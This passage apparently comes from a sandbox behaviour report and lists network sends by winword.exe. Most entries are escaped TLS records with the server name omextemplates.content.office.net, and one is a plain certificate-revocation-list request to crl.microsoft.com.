\xe3\\xdb\\x9b\\x1e\\x19cmce\\xb5\\x1f\\x1fh\\xdd\\xa6\\xa8\\n\\xd2\\xe9d\\xec\\xc9>;v\\xc7\\xcc\\xc6)\\xefi\\x12\\xa4z\\xdc\\xedo\n)"
  562.  
  563.  
  564. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xeb5\\xee&y\"\\xd2\\xe4\\xa5\\x95g\\x0c$\\xc0\\xe4l\\x13g~\\x90\\xd3\\9\\x02\\xec\\xb4\\xf6l\\x8d9\\x80\\x90\\xdc\\x13\\x1c\\x8f\\xddy\\xa7\\x83l\\x9a\\xfc\\xfd\\xcca\\x0e\\x8f\\xb5\\x94\\x80\\x18iq\\x97\\x8a6\\x94\\x8be\\xb1\\xfc\\x99\\xe4\\xa8\r(\\xdeh\\x1c*\\xa5o\\xc3y\\x96whq*\\xa9\\xc74\\x17(\\xf3\\x15\\xeb\\xf5>>vi\\xdeu\\xef\\xda\\x1dh\\x001\\xb6&+\\xcc\\x8fj\\x84\\xea\\xebt\\xe9jf\\xc9\\xa7nj\\xf3u\\xe9;\\xf1\\xee6\\x1a\\x8a\\xe0ss|\\x95\\xbc<\\x8f\\xf5@\\xfb\\xe5\\x97\\xf6\\xccn2\\x0f\\x86\\x00,\\xe8\\xd3\\x03\\x1a\\x08\\xee\\xef,\\xf0\\x8fg\\xc1vo:\\x8c\\x97g\\x9d\\x04\\x86\\xfa7\\xff\\xff\\xcec\\x1bt\\x9a\\x15j\\xe0\\x02\\x1c\\xa0\\x8c\\x8b@\\xd3\\xfcw\\xcf\\xd0oj\\x8b\\x9dk\n\\x9e+\\xd3:~*\\xe1\\x0f>\\x94\\xc0~\\x88\\x9d\\x00\\xef\\x8a\\x8a\\xdc!\\x98\\xcd\\xa8t\\x13%mj\\xf9\\xdan\\x8e\\xf4\\xe61\\x83\\xafn7~\\xc0\\xf3\\x88bb\\x9d8\\xcb\\xc7"
  565.  
  566.  
  567. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010)z\\xf6#\\x7f\\xfa\\x8bo\\xc7g\\x14\\x0c\\xb6\\xb5/\\x8e\\x94\\xbc\\x82-\\x14\\x95\\x7f\\x1b_\\xda\\xdc\\xfbd\\xd7\\x02\\x13\\x0e\\xa3\"\\xe2\\xd5\\xc2,r:a\\xc9\\xfc\\xe5#\\xf1\\xc2vc5+\\xae.8\\xf3\\xc6\\xd3m1\\xa3\\x84\\xach\\x1drg\\xa1\\x9d\\x8a\\x97\\xf1\\xce\\x1dh\\x9f#\\xda\\xea\\xc6\\x03\\x14\\xa1:\\x0bt\\x02:\\x8d1\\xb3\\x95\\x97\\xb5p\\x8ar\\x84\t\\xb4\\x1c\\xdf)d\\x83\\x89jc)\\x9c\\xbe\\xb1\\xe0\\x14\n\\x1c\\xfc\\x9b)\\x10\\xb0\\xaf\\xbbcld.\\3e\\x9d\t\\x80\\x90\\x1a\\x11\\xf5\\x9b\\x0ez:\\x83z\\xda\\xc0\\x04\\x81\\x19\\x0ed\\xa2\\xd3\\xb4\\x0b\\xa1\\x1e\\xa7\\xf6\\xa2\\xe1\\xb6\\x82@\\x18x~e\\x80\\xba\\xdcw^\\x0b\\xc0lv\\x84>r\\xbd\\x8dhp&g\\xdb`|~\\xc5\\x98\\x98\\x9e*\\x9e\\xca\\xb2k\\xaawh\\xad\\xea\\xd01\\x06\\xf6\\x10d\\xf9!%\\xe7\\xc8\\xf7\\xab\\xe2\\xc1\\x1b\\x8f\\x05\\xcb\\x02j\\xd7|\\xf9\\xbd\\xa5r9#\\xe8\\x18\\x10\\x87\\x03a\\x8d7\\xda\\x08\\xe5\\xeeob"
  568.  
  569.  
  570. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010z\\xb0\\xd2h\\xb6%r\\x81 +:\\xc3\\x96\\xdcq\\x01\r8\\x16\\xbd\\xfc\\x87\r\\xb0\\xe2\\xcb\\xf03\\x87\\x10\\xef\\x01\\x1d7\\x0e\\x06m\\x8e`\\x8e0\\x15\\x865a\\xa0\\x08\\xc2\\x9b\\xa4\\x05t9\\xa4\\x90 \\x96\\xd5\\xf8?t\\x98\\x8e\\xa1\\xff\\x18\\x1b\\xfe\r(\\xc8\n\\xb8\\x97\\xb2\\xdf\\xa2\\x8c\\xec\\x98\\xac\\x99\\x93\\xf8\\xc0\\x03!d\\x990\\x0b\\xd4j\\x1d~<\\xa1\\xdf\\x9bt\\xc65\\x89\\xcd\\x80\\xb5\\xb6\\xfa\\xf4\\x9cj\\xe4;\\x15\\xc7o\\xf2\\x1f\\xf2\\xa19\\xce\\x10ow\\xa8\\x07\\xb4\\xf7s\\xf0!\\xfa\t\\xbd\\xbeq9\\xc54\\x0e;\\x087\\xa8\\xa3*\\x9fs\\xb9h\\xa2\\x13\\xf2\\xed\\xa8\\xad\\x89_\\xc3fr\\x8cry5v\\xff\\xee\\xb8\\xd6\\xe4%\\xe6\\x96b \\xe8,\\xa7g\\xae\\xf5\\x90ae\\xff\\xecr0\\x04\\xa9g\\xa1q\\xf6dy\"\\xf3\n\\xa0\\x83q\\x9f!t\\xe5m\\xa4\\xae\\xday\\x137\\xa6l\"\\xf4\\x03c$u\\xebn\\xaci\\xc3\\xf9zm\\xeb\\xf7\\xe8\\x7f\"ex\\xd7%v\\x19q*\\xe0d"
  571.  
  572.  
  573. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa8\\xc9\\x9f\\xc1\\xda\\x0c;\\xc2$\\xdb\\xd6awo\\xb2d\\xe2\\xff\\x9fl\\xd4\\x10s\\xd2|\\xe8r\\x93\\x82g\\xe6\\xbai\\x8b\\x02/hb;\\xd9q4\\xf3(\\xcc\\xb7#\\x92l\\x1e,\\xb5\\xeb\\x02\\xc5\\x18\\xba\\xad\\xea?\"ca~v\\xe3\\x1a8\\x82m\\xec\\x04-en\\xda\\xb1h\\x85\\xcb@\\x12\\x9bnx\\xa6\\x011c\\xa7\\x98\rv\\xbe\\xe7\\x1a7>\\x97w\\x89r\\x157\\xfa^\\xf1\\x9e6,#l\\x1e\\x85\\xebi\\x11\\xb3\\xaa\\x16\\xb3vkq\\xdc\\xa4\\xf9\\x05!\\xeb@m\\xc7\\x84\\x82\\x06w\\xce\\xa53\\x9a\\xba5=\\xa7\\xd5\\xc2\\x05_\\xca\\x00\\xdb\\xe9j\\xa1\\xabs\\xd5\\x0f\\x0c~#\\x84\\xe4\\xfb\\x04qt#\\xb2g\\xc4\\xb5\\x9d\\x1a\\x12a\\x1c\\x0f\\xd0\\x8f\\x1b\\xdbq\\x08%k54\\xf3\\x921\\xe4\\xaf\\xbb\\x07\r\\xac\\xb3(\\xc2\\xfed\\x9a\\x81\\x01\\xcb\\x04g\\xd4\\x96\\x1b\\xdc\\x0es\\x1d\\x1b\\xa1\\xc2;\\x11\\x0b3\\xb4sit\\x93\\xb0\\x10i\\xe2\\xc5dv\\x18\\xc0\\xf2%y\\xaa\\xde\\x10hwo\\xa4h"
  574.  
  575.  
  576. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010e(o\\xf0i&n\\xd4g\r;\\xb9\\xbd\\x8e\\xc6lj\\x03\\xbb\\xfbv\\x84\\xda\\xa3\rdz\\x08\\x0c!\\x99\\x0b9\\xf4\\x80\\xa6\\x82o1f\\xc8jy\\x17z\\xd1\\\\xbf\\xe1\\xb6\\xea%2\\xfa\\x01\\x1b\\xa6\\x18\\xf5\\xab\\x18\\xb75:\\xfem\\xe9\\x80\\xbf\\x1b\\x1c\\xd2\\xef\\x99\\x03\\x8b\\xd84\"\\xdc\\x84\ny\\x84\\xc0\\xd87\\xf7;\\xc3\\xb9\\xb8\\x9b(\\x10\\x85\\xccj8>8 \\x98\\x97\\x7f\\x02\\xbc\\xb9\\xe07\\x881\\xcb9\\xba3\\xf1\r\\xd5\\xaf\\x1f\\xe7\\x99\\x9c\\xaf\\xa0\\xa3\\xf4\\x88\\xaf\\xc6m\\xf7\\x11k\\xaev\\xfd\\xfdk\\xa1\\x9b\\x05\\xe6;\\xbe^\\xe1\\x81\\xf6\\x1ec\\xa82\\xee\\x8a@\\x0c\\xfe\\xce\\x89\\xe2\\x869\\x8e\\x9e\\xd8o\\xba\\xb6\\x17u\\x01o\\xbc\\x7f\\xad\\xfaj\\xb4\\x0c\\xb5\\xae\\xaf\\x8cc\\xb6\\x987\\x85\\xc9\\x9ae\\xf0\\xc0\\x86\\x0e\\xe5\\xc3\\x97i6r\\x07\\x96\\x88\\xfe\\x85\\x1b\\xdbcu\\xaa\\xc0d\\xe0y\\x83\\xf9t\\xe2\\xfddr\\xf3\\x10\\xd0\\xbfs\\xb3b8\\xe6\\xbbcq\\xc7*\\x0fovg\\xeag\\xd6\\x98\\xec"
  577.  
  578.  
  579. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010%\\x1e\\xc3\\xffj\\xa0x\\xabp\\x99\\x16\\x91\\xcd\\x0cqd\\xa6\\xe9\\x11)\\x10\\x13)\\xbc\\xe3\\x16\\xc2\\xea\\x9er\\xb6)$` \\xc2\\xa2\\xa4`\\x99i\\xb6\\xc4g\\xbe\\x80\\xb5d\\x97\\xe3f\\x98\\xa9\\xb1r\\xc3\\x80\\xdbc\\xac\\xe8\\x07\\x82<e\\xe9\\x99\\xd2-\\xe8\\x1c@\\xcc\\x8c\\xf6\\x07\\x08ef\\xbf\\xa5y\\xad\\xc8h_ntk\\x017\\xca\\xf2\\xf0\\x98t\\xc1:\\x0e\"\\xd5\\xbf\\xf8ic\\xe5cz\\xfb\\xd6\\x11\\x8d\\x02bvn/.o\r\\x98%\\x18>\\xd3=r\\xaa\\xf2q\\xee\\xb0t\\xaa\\xd62\\xa5\\xf0\\xfb\\x83e\\xf5>s(\\x0fn\\xbf\\x85\\x1d\\x1a\\x8e\\xe2\\xe0\\xc2\\xa1<ov\\xdb`\\xc9m\\x9eo\\xdeb?$c \\xd3,\\x16x\\xd0\\x10\\xe3\\xc1\\xa3#\\xd44\\x86\\xb9\\x1c\\x19%s?\\xa8\t\\xf4\\x12\\x1a\\xc9\\x0fqbq\\x1cl\\xe0\\xaev\\x95\\xd1\\xffdp\\x8d0\\xbaq\\xf4\\xf4\\xb7ka\\x1b\\xb0\\x85i\\xb6\\x8bb\\x05w\\xde\\x94u\\xda\\x81\\xd3')6\\xf3\\xcb\\xee\\xb1`\\xd0\\xfd\\xady\\xe2\\x80"
  580.  
  581.  
  582. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1dqz\\xe8\\xb3\\xf55c|\\x10v\r\\x80\\x88\\x16s&/#\\x87\\x0c> \\xea`\\xa5vny\\xaej\\xff\\xae\\x85\\xc7@|ev\\xf7l\\x8c\\xad\\xef\\xb3\\xd7\\x9co\\xc2\\x99\\x80\\xc4\\x9a\\xbb\\xe6\\xfem\\x04\\xe9\\x89\\xe3i\\xc9\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0008\\xcfq\\xde\\x98\\xc37h\r\\x87\\x01e\\xae\\xc9\\xec\\x94s\\xd4g\\x9e\\xd8\\x81\\xea\\xab\\x96\\xce\"\\xbb\\x1f\\xb7\\x7f\\xcfb\\xce9f\\xa34\\x8fg\\xe0\\xab\\xed\\x06\\xc3\rp"
  583.  
  584.  
  585. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x98\\x19\\xc2\\x0f\\xb4\\xcf\\xdf\\xe3s\\xf5\\xc8(n\\xf3\\xb1h\\x90`\\xcc\\xf0\\xa1\\x03\\xbe\\xab\\xe0yo6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  586.  
  587.  
  588. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x980\\xbe\\xb4*ty\\x97\\x17@\\xd7\\x18\\xd5\\xa5\\xbb\\xd8\\x85\\xedk@hpzm^\\xdd\\x90\\xe9\\xeb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  589.  
  590.  
  591. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04jk_ai^+\\\n\\xea\\xaf\\xear\\xaa\\xdc(\\xa8^\\xa3\\xc3d\\xbbs\\x1e\\xb6\\xb3\\xf8\\x06\\xb9\\xe0a^\\x84\tj\\xf8j\\xa8\\xb4>\\xce\\xb12\"`\n\\xae=qe\\xfa\\x01\\x96n\\x90\\xc6\\xcd\\x1e3\\x9c27|\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000x\\x1cd\\xad\\xa7\\xd3\\xaf\\xf7\"\\xd0\\xc4efg=\\xd0\\x0f,\\x901\\xdb;-\\xc9\\xf10\\xe0\\xbel\\xc1\\x1c\\xbd\\xf4!\\xd7\\x06\\x13\\x9d\\xc3t\\x83\\xe6\\xca\\x93\\x8d;m"
  592.  
  593.  
  594. "http_request": "winword.exe_WSASend_\\xf2\\x00\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x80\\xea\r\\xfbiv'\"\\x0cy\\xa1lth\\xea2~u\\xc3w\\xa4\\xaem\\xf3=~\\x99\\x8c4\\xed\\xca\\x8d\\xb3t\\xed\\x8f\\'u\\xcb\\xef \\xb7|d/\\xbb\\x00/m:\\xe5\\xcf\\xa39\\xb1\\xc7\\xb2\\xadlbn\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000p\\xde\\x7f\\xc1v\\xa2\\xb2\\x93g\\xa1\\x03f\\xdd\\xe0\\xce2\\x12\\x95\\x89i\\x80\\xbb\\xf4r\\x89\\xbe\\x8e\\x8a\\xaa\\x15\\xe2\\xefw\\x1c\\xee\\xe5w\\xa6\\xb4ji0\r\""
  595.  
  596.  
  597. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0101\\x86u\\x8bw\\x9e6\\x8f1\\xd2\\xa2\\xff\\x0e\\x89\\xd3\\xb8\\xcf\\xdf\\x8d)\\xadng\\x98\\xccwe\\xa4x\\xd1\\x13\\xed\\xb8\\x90\t\\xe1\\xa4\\xc4&\\xbc\\xbcn\\xc5\\xd6jm\\xd0\\x95\\xd7o\\x94\\xd5\\x0cwr\\xf2h6f\\x1a\\xe0\\\\x0e\\x9a\\x83\\xaf\\x9e\\xe6@m\\x9c\\xb8\\xa1\n\\x89<)cn\\xbd\\xa42\\xb2\\xbe|+\\x1f\\x9e\\xac\\xa3\\xa7zef7\\xdaz\\xf7o\\x0b\\xa9y\\x05f\\xd4tq\nk\\xee=\\xad\\xf0.\\xc3\\x19\\x1du@v\\xbcjogl\\xf6e\\xe5a\\xd8p\\xf2\\xfdh\\xb1:t\\x0e\\xbe\\xc4*ur\\x0b\\xbf\\xf5w\\xc0\t\\x1e\\xaadk08\\xc6h\\x88\\xce\\xc3dl\\xdb9c\\xb77\\xcc(\\x14\\xb2\\xf1 \\x88\\xb6\\xdc\\x9c\\xe87p.\\x80\\xc9u\\xa2f\\x83\\x86z\"+\\xe3jo\\xd0\\xb5+\\xb1ia\\xa6f\\xec\r.x\\x96\\xe1\\xdd'#\\xea\\xe2\\x83\\xe9\\xc1s4\\xb7\\xa7\\x0c\\x02\n\\xc0ki\\x0e\\xfc\\x8d\\xd1\\x1d\\xb9\\xba\\xc0\\xebv\\xa3\\xf9?d\\x81&\\x92"
  598.  
  599.  
  600. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x97\\xc1\\x9fj\\xdc\\xc24s\\xdc\\x84_\\xab\\xbdc\\x1f\\x8czhdk\\xf9\\x83\\x9ck|b\\xbc\\x0b\r!\\x07\\x93\\xb3\\xe4\\x99\\xd6;2\\xa85|7\\xf5v>\\x9a\\xe7y\\xc9\\xc9\\xbf\\xc9\t\\xdc\\xbf\\x8c*\\xd1\\x81\\xfd hq\\x9f ;\\xaf\\xdc\\xe9\\xd6of\\x11v\\x00x\\x11\\x92\\xb6x\\xa6dw\\xc1\\xac6\t\\xdb\\x8c\\xc0\\xa3\\xbb\\xa8\\x08c\\xab$?k\\xe5\\xcac\\x1di\\xb7\\x15:l\\xa54\\xa3v\\xad\\xe9=\\x96p\\x1b\\xa9\\xda3bh8p\\x80\\xc3 \\x9cy\\xd9\\xb0\\x7f\\xc4c\\x83\\xe3\\xb2\\x00\\xea\\x87\\xa6\\xdetm\\x08n\\xe4\\xe2\\xca\\x9d\\xa6m\\x95\\x12v\\xda\\xd0=<\\xd3e;t\\xb4\\x99.\\x88\\x7f\\xacbe\\x96\\x01r\\x87\\x05\\x87\\x8bw\\x97\\x9efys2\\x8a\\xae\\x156i\\x7f\\xc0or\\x8c!6\\xe2d\\xf3/\\x93\\x91\\x96|n\\xa1e\\x9d\\x8aj\\x95\\x91\\xfat\\xb6tad\\xc8f\\xfc\\xeb\"k\\x11\\xadb\\xe7\\xb3)\\xcc4~\\x9c\\xe3\\x1a|\\xce\\xfd\\xdefj\\xe7\\xe1"
  601.  
  602.  
  603. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x90\\xb6y\\g$\\xbb\\x82m\\xd2\\x9d\\x9f\\xb3hs\trq\\xa6r2<\\x92p\\xbe\\x1c\\x0e\\x1d\\x19k3zpk\\x8e\\xd7\\x01\\xfeh\\x17,\\xc7s\\xdc`\\x1b\\xc0\\xd0\\xfc\\xb9,\\x9f\\x05\\xb3\\xc7\\xbcu\\xea\\xa4\\x80h\\x0b+mvt\\x11r\\xfe\\xb7\\xaf\\xd3k\\xaf\\x94\\x1ft\\xbdk\\x13\\xf2\\xc2\\x19\\xab\\xb9:\\x1c\\x88w_\\x8e\\xa7o\\xfc\\xe0(\\x8f\\xab\\x14?\\xa9\\xe6j0z\\xdc\\xc4f\\x81\\xbe\\x0e\\xc6w\\x08\\xa8e\\x17i\\x98=k\\x1a#\\xc4\\xbd\\xd3\\xdb^\\xa9\\xdfq\\xa2cju\\x10\\xbdv\\xa5\\xc4\\x01\\xd5@\\xb2\\x068j\\xf7\\xdc\\x1do\\xc6\\x8f\\x81\\xa3\\xff&\\x98\\xf7b\\xd1\\xc0ac;\\\\xddal\\xbb\\x97\\xb2\\xb8y\\xc5v\\x9c\\xc1\\x81p6e\\xb8\\xda\\xcf\\xd4\\xc3\\xe9\\x92\\xc42\\x1bw`\\xf2'\\xaf\\x0c\\xd1\\x03\\xe0\\xcfp\\x8a\\x02\\xde\\xdb)\\x15l\\xa8\\xc6m\\xc4\\xf0\\xbd\rvs\\xe7^k\\\\x8f\\x04\\xd3:\\x11\\x1fg\\xb8\n3\\xa7\\xb6\\xfb\\x9a\"\\xf1:\\xcb\\x13\\x1f\\xda\\xcc\\xa9*\\xbc\\x18"
  604.  
  605.  
  606. "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 07 mar 2019 06:00:16 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  607.  
  608.  
  609. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x98w\\x95\\x06~\\x0f*\\xf8\\x05d\\xd1#\\xd9\\x84\\x178\\xd2k\\xf3\\x16u!\\x97\\x95\\x18\\xd2\\x05\\x17\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  610.  
  611.  
  612. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x02\\xef\\xb3\\xf4x\\x9c\\xf1\\xcc\\x17\\xd9\\xc6p\n\\xe4\\x8do\\xee\\x1e\\xae\\x97q:\\xe0\\xcb\\xacb\\x97$\\xd6\\xf4xy\\x13\\xcd)\\x16=2\\x9d\\xbc9;\\xe9c\\xf3ml@?uy\\xe5\\xcb\\x9c\\x03^^(\\x1dcm\\x1e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xdb\\x00\\xb0\\x1e\\xc7\\xe5\\x88a\\xeb\\xc6\\xd1\\x0ck\\xfb\\xb5k\\x99\\xad\\xff\\x9c\\x94b\\x0e,\\xc2&\\x8c\\xbc5@x\\x9a2\\x18\\xb0\\x9b\\xae\\x8a~\\xc0n\\xc1\\xd8;\\xd2"
  613.  
  614.  
  615. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x99b1\\xf6n:\\xc5\\xf6`\\x97\\xf7\\x064hs\\xc4\\xe94n\\xe7\\x84%q\\x89\"l6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  616.  
  617.  
  618. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xfa9\\x06\\xb6s\\xderk\\xd6\"\\xaf(5\\xe60\\xf6\\xf9\\x0b|g\\xcbp$|n\\x98\\xcdc\\xf2tw3iu\\xab\\xc5\\xe3\\>h\\x047\\x0f\\xa0\\x8c\\xef`\\x10&\\x8c\\x9c*\tk9\\x87\\xacx\\x8c\\x8b)y\\xca\\xb0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf8,\\xe6 :\\x18m\\xf7\\xfa\\xab\\xcbeit\"\\xf1\\x12\\xc3\\x80\\xa2\\x03\\xbe\\x05\\xd0\\x03\\x06c^\\x80\\xa6c\\xc1\\xc52\\x06\\xeb\\xc2\\xca\\xae;\"\\xb9\\xa8\\xb6vy\\xeb"
  619.  
  620.  
  621. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x99\\xf3\\x03o@xc\\xd0\\xfa\\xe9\\xce\\xfb!\\x1d\\xc4!\\xc0=.\\xcb\\x85\\xcd\\x15j?\\xc7>\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  622.  
  623.  
  624. "http_request": "winword.exe_WSASend_\\x1a\\x01\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x99\\xa2\\xbf\\x0f\\x01\\xa1\\xae\\x88\"&\\xe7)\\x01l\\xd9g\\xc3\\xc9:j#\\x97\\x19\\xad\\x81(?\\x9b\n\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  625.  
  626.  
  627. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x19\\x17vy\\xd6_d.\\xdbl\\x9dy\\x97\\xa2*\\xd2v\\xbdk\\x12\\x8c~\\xbc\\x96\\x05yhbj\\xd4f\\xc2\\xe7/\\xb6q\\x1a\\xf9\\xd3\\xfb\\xaa\\x12\\xbcy/wmb\\xf3\\x8fh\\xb2\\x88m\\x0c\\xbb^\\x80\\x859\\xac\\x9d\\x9a\t\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbac\\x96\\xbc\\x116o\\x10m\\x04\\xa6\\xbe\\x80\\x90g\\xcd\\x1eg\\xbe\\x14\\x1dx\\xca5\\x8ct\\xbf\\xbf\\xb9\\xc8g\\x14\\xb8\\xa5\\x90\\x81\\x90v\\xdby\\xbb1cz\\xb9!\\x1f\\x9b"
  628.  
  629.  
  630. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x99c\\xaf_he\\xa7j=.\\xbd\\xd7\\xf5\\xc7\\xc7\\x93\\x04\\xc0(\\xf4\\xd6\\xf1\\xc3\\xed~\\xb1\\xf0_\\xf7\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  631.  
  632.  
  633. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1cx\\x1a\\x95t\\x13\\xa9\\x01\tm\\xf8\\x84\\x06f\\x05b\\x9f\\xa4a\\xc8\\x87g\\xec\\xa8d\\xc4\\x08p\\xe1\\x02\\x9c\"_\\xe0\\xd0\\x02\\x05r\\x90\\xb7\\xcf&\\x8at\\xa7s\\xf9\\xbb\\xf6z\\xe6\\x90\\xafv\\x9c\\xd2\\xe8\\xf7\\x8b~\\xb2\\x8b\\xb7\\xf9\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x8c|#\\x99y\\xc8\\xc3s\\x03\\x98\\x13 j\\xfbv\\x1b\\x9bh\\x02\\x1bkw?\\xb0/\\xaa\\x16\\x03\\xa9\\xda<\\xf9\\x14\\xaf\\x93\\x9fn\\x16\\xfc`\\x8f.\\xba\\xb8\\x02\\xbe!"
  634.  
  635.  
  636. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x99<o\\x08lz\\xa7\\x02\\x0c\\xcc\\xbefd\\x8a\\x93\\xb7a\\xd3\\xa1\\xad\\x80\\x9f\\x08\\xdb\\xe5g\\x04\\x1e\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  637.  
  638.  
  639. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xfb\\xf7\\xf1i\\xfc\\x88\\xe9 9@\\xb2\\xf6\\xde\\xc1\\\\x04@p\\x10\\x94\\x00\\x15jd\\x17\\xfb\\xa6+\\xca\\xc9/\\xb6s!s/\\xa3\\x8d+\\xe7\\xeet\\xf9\\xf6\\x07\\x9a\\x10\\3\\x93/tb\\x1a\\x11w\\x12k\\xa0\\x06$\\x14\\xe8:\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe2#\\x8e#\\xf2\\xf4\\x1e\\xdf\\x9a\\xcb\\xd6\\x92\\x8a,\\xc3\\x83\\x8d\\xba\\xf8\\x7f\\x14\\xf0\\xbe\\xff\\x08\\x95eqg\\xd0u\\xc4r\\xb3,\\xe0\\x9cf\\x06se\\xe5\\x15v\\xf4\\x07&\\xa7"
  640.  
  641.  
